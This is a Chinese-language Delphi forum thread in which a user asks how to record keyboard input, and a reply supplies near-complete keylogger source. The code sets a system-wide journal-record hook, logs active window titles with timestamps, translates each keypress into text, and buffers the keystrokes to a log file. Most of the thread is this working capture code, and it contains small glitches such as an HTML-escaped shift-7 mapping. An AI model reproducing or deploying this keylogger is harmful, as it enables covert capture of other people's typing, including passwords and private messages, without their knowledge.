监控键盘输入(100分)

B

boclif

Unregistered / Unconfirmed
GUEST, unregistred user!
如何监控键盘输入,并按输入法记录相应的汉字。
 
设键盘钩子
 
dlwang,用HOOK?请写详细一点
 
可能日志钩子更好一些
 
好象日志钩子可不必制成dll,今天dfw检索有问题,不然可给你copy一段文章
 
按输入法记录相应的汉字,自己去想吧。:
function setHook:bool;stdcall;
begin
if hNextHookProc<>0 then
exit;
hNextHookProc := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
result:=hnexthookproc<>0;
end;
function endHook:bool;stdcall;
begin
if hNextHookProc<>0 then
UnHookWindowsHookEx(hNextHookProc);
hNextHookProc:= 0;
result:=hNextHookProc= 0;
end;
function HookProc(iCode: integer;
wParam: wParam;
lParam: lParam): LResult;
stdcall;
var
pEvt:^EVENTMSG;
i:integer;
hFocus:HWND;
timeStr:string;
szTitle:array[0..255]of Char;
//当前窗口名称
begin
if iCode<0 then
exit;
CallNextHookEx(hnextHookproc,iCode,wParam,lParam);
if iCode=HC_ACTION then
begin
pEvt:=Pointer(DWord(lParam));
if (pEvt.message=WM_KEYDOWN) or (pEvt.message=WM_KEYUP) then
// Here
begin
hFocus:=GetActiveWindow();
//取得当前活动窗口句柄
if gLastFocus<>hFocus then
//当前活动窗口是否改变
begin
GetWindowText(hFocus,szTitle,256);
gLastFocus:=hFocus;
timeStr:=DateTimeToStr(Now);
//得到当前的日期时间
if gFileKeyIs then
writeKeyFile(timeStr+' '+szTitle);
//写入文件
if gNowKeyIs then
gkeys.Add(timeStr+' '+szTitle);
end;
//if gLastFocus<>hFocus then
//当前活动窗口是否改变
if length(gkey)>=250 then
begin
if gFileKeyIs then
writeKeyFile(gkey);
if gNowKeyIs then
gkeys.Add(gkey);
gkey:='';
end;
//if length(skey)>=254 then
getkey(gkey);
end;
//if (pEvt.message=WM_KEYDOWN) or (pEvt.message=WM_KEYUP) then
// Here
end;
//if iCode=HC_ACTION then
Result:=CallNextHookEx(hnextHookproc,iCode,wParam,lParam);
end;

function getkey(var s:string):bool;stdcall;
const
_KeyPressMask = $80000000 ;
var
capLock,shift:bool;
begin
result:=false;
capLock:=false;shift:=false;
if (getkeystate(VK_CAPITAL) and 1)=1 then
capLock:=true;
if (getkeystate(VK_SHIFT) and _KeyPressMask)=_keyPressMask then
begin
shift:=true end;
if (getkeystate(VK_NUMPAD0) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'0';
result:=true end;
if (getkeystate(VK_NUMPAD1) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'1';
result:=true;
end;
if (getkeystate(VK_NUMPAD2) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'2';
result:=true;
end;
if (getkeystate(VK_NUMPAD3) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'3';
result:=true;
end;
if (getkeystate(VK_NUMPAD4) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'4';
result:=true;
end;
if (getkeystate(VK_NUMPAD5) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'5';
result:=true;
end;
if (getkeystate(VK_NUMPAD6) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'6';
result:=true;
end;
if (getkeystate(VK_NUMPAD7) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'7';
result:=true;
end;
if (getkeystate(VK_NUMPAD8) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'8';
result:=true;
end;
if (getkeystate(VK_NUMPAD9) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'9';
result:=true;
end;
{
if (getkeystate(VK_LBUTTON) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---滑鼠左键鈕';
result:=true;
end;
if (getkeystate(VK_RBUTTON) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---滑鼠右键鈕';
result:=true;
end;
if (getkeystate(VK_CANCEL) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Control-break执行';
result:=true;
end;
if (getkeystate(VK_MBUTTON) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---滑鼠中键鈕';
result:=true;
end;
}
if (getkeystate(VK_BACK) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Backspace鍵';
result:=true;
end;
if (getkeystate(VK_TAB) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Tab鍵';
result:=true;
end;
if (getkeystate(VK_CLEAR) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Clear鍵';
result:=true;
end;
if (getkeystate(VK_RETURN) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Enter鍵';
result:=true;
end;
if (getkeystate(VK_CONTROL) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Ctrl鍵';
result:=true;
end;
if (getkeystate(VK_MENU) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Alt鍵';
result:=true;
end;
if (getkeystate(VK_PAUSE) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Pause鍵';
result:=true;
end;
if (getkeystate(VK_CAPITAL) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Caps Lock鍵';
result:=true;
end;
if (getkeystate(VK_ESCAPE) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Esc鍵';
result:=true;
end;
if (getkeystate(VK_SPACE) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---SpaceBar鍵';
result:=true;
end;
if (getkeystate(VK_PRIOR) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Page Up鍵';
result:=true;
end;
if (getkeystate(VK_NEXT) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Pagedo
wn鍵';
result:=true;
end;
if (getkeystate(VK_END) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---End鍵';
result:=true;
end;
if (getkeystate(VK_HOME) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Home鍵';
result:=true;
end;
if (getkeystate(VK_LEFT) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Left Arrow鍵';
result:=true;
end;
if (getkeystate(VK_UP) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Up Arrow鍵';
result:=true;
end;
if (getkeystate(VK_RIGHT) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Right Arrow鍵';
result:=true;
end;
if (getkeystate(VK_DOWN) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Down Arrow鍵';
result:=true;
end;
if (getkeystate(VK_SELECT) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Select鍵';
result:=true;
end;
if (getkeystate(VK_EXECUTE) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Execute鍵';
result:=true;
end;
if (getkeystate(VK_SNAPSHOT) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Print Screen鍵';
result:=true;
end;
if (getkeystate(VK_INSERT) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Ins鍵';
result:=true;
end;
if (getkeystate(VK_DELETE) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Del鍵';
result:=true;
end;
if (getkeystate(VK_HELP) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Help鍵';
result:=true;
end;
if (getkeystate(48) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+')' else
s:=s+'0';
result:=true;
end;
if (getkeystate(49) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'!' else
s:=s+'1';
result:=true;
end;
if (getkeystate(50) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'@' else
s:=s+'2';
result:=true;
end;
if (getkeystate(51) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'#' else
s:=s+'3';
result:=true;
end;
if (getkeystate(52) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'$' else
s:=s+'4';
result:=true;
end;
if (getkeystate(53) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'%' else
s:=s+'5';
result:=true;
end;
if (getkeystate(54) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'^' else
s:=s+'6';
result:=true;
end;
if (getkeystate(55) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'&amp;&amp;' else
s:=s+'7';
result:=true;
end;
if (getkeystate(56) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'*' else
s:=s+'8';
result:=true;
end;
if (getkeystate(57) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'(' else
s:=s+'9';
result:=true;
end;
if (getkeystate(65) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'A' else
s:=s+'a';
result:=true;
end;
if (getkeystate(66) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'B' else
s:=s+'b';
result:=true;
end;
if (getkeystate(67) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'C' else
s:=s+'c';
result:=true;
end;
if (getkeystate(68) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'D' else
s:=s+'d';
result:=true;
end;
if (getkeystate(69) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'E' else
s:=s+'e';
result:=true;
end;
if (getkeystate(70) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'F' else
s:=s+'f';
result:=true;
end;
if (getkeystate(71) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'G' else
s:=s+'g';
result:=true;
end;
if (getkeystate(72) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'H' else
s:=s+'h';
result:=true;
end;
if (getkeystate(73) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'I' else
s:=s+'i';
result:=true;
end;
if (getkeystate(74) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'J' else
s:=s+'j';
result:=true;
end;
if (getkeystate(75) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'K' else
s:=s+'k';
result:=true;
end;
if (getkeystate(76) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'L' else
s:=s+'l';
result:=true;
end;
if (getkeystate(77) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'M' else
s:=s+'m';
result:=true;
end;
if (getkeystate(78) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'N' else
s:=s+'n';
result:=true;
end;
if (getkeystate(79) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'O' else
s:=s+'o';
result:=true;
end;
if (getkeystate(80) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'P' else
s:=s+'p';
result:=true;
end;
if (getkeystate(81) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'Q' else
s:=s+'q';
result:=true;
end;
if (getkeystate(82) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'R' else
s:=s+'r';
result:=true;
end;
if (getkeystate(83) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'S' else
s:=s+'s';
result:=true;
end;
if (getkeystate(84) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'T' else
s:=s+'t';
result:=true;
end;
if (getkeystate(85) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'U' else
s:=s+'u';
result:=true;
end;
if (getkeystate(86) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'V' else
s:=s+'v';
result:=true;
end;
if (getkeystate(87) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'W' else
s:=s+'w';
result:=true;
end;
if (getkeystate(88) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'X' else
s:=s+'x';
result:=true;
end;
if (getkeystate(89) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'Y' else
s:=s+'y';
result:=true;
end;
if (getkeystate(90) and _KeyPressMask)=_keyPressMask then
begin
if capLock xor shift then
s:=s+'Z' else
s:=s+'z';
result:=true;
end;
if (getkeystate(VK_MULTIPLY) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'*';
result:=true;
end;
if (getkeystate(VK_ADD) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'+';
result:=true;
end;
if (getkeystate(VK_SEPARATOR) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Separator鍵';
result:=true;
end;
if (getkeystate(VK_SUBTRACT) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'-';
result:=true;
end;
if (getkeystate(VK_DECIMAL) and _KeyPressMask)=_keyPressMask then
begin
if shift then
s:=s+'>' else
s:=s+'.';
result:=true;
end;
if (getkeystate(VK_DIVIDE) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'/';
result:=true;
end;
if (getkeystate(VK_F1) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F1';
result:=true;
end;
if (getkeystate(VK_F2) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F2';
result:=true;
end;
if (getkeystate(VK_F3) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F3';
result:=true;
end;
if (getkeystate(VK_F4) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F4';
result:=true;
end;
if (getkeystate(VK_F5) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F5';
result:=true;
end;
if (getkeystate(VK_F6) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F6';
result:=true;
end;
if (getkeystate(VK_F7) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F7';
result:=true;
end;
if (getkeystate(VK_F8) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F8';
result:=true;
end;
if (getkeystate(VK_F9) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F9';
result:=true;
end;
if (getkeystate(VK_F10) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F10';
result:=true;
end;
if (getkeystate(VK_F11) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F11';
result:=true;
end;
if (getkeystate(VK_F12) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F12';
result:=true;
end;
if (getkeystate(VK_F13) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F13';
result:=true;
end;
if (getkeystate(VK_F14) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F14';
result:=true;
end;
if (getkeystate(VK_F15) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F15';
result:=true;
end;
if (getkeystate(VK_F16) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F16';
result:=true;
end;
if (getkeystate(VK_F17) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F17';
result:=true;
end;
if (getkeystate(VK_F18) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F18';
result:=true;
end;
if (getkeystate(VK_F19) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F19';
result:=true;
end;
if (getkeystate(VK_F20) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F20';
result:=true;
end;
if (getkeystate(VK_F21) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F21';
result:=true;
end;
if (getkeystate(VK_F22) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F22';
result:=true;
end;
if (getkeystate(VK_F23) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F23';
result:=true;
end;
if (getkeystate(VK_F24) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'F24';
result:=true;
end;
if (getkeystate(VK_NUMLOCK) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Num Lock鍵';
result:=true;
end;
if (getkeystate(VK_SCROLL) and _KeyPressMask)=_keyPressMask then
begin
s:=s+'---Scroll Lock鍵';
result:=true;
end;
end;
 
接受答案了.
 
顶部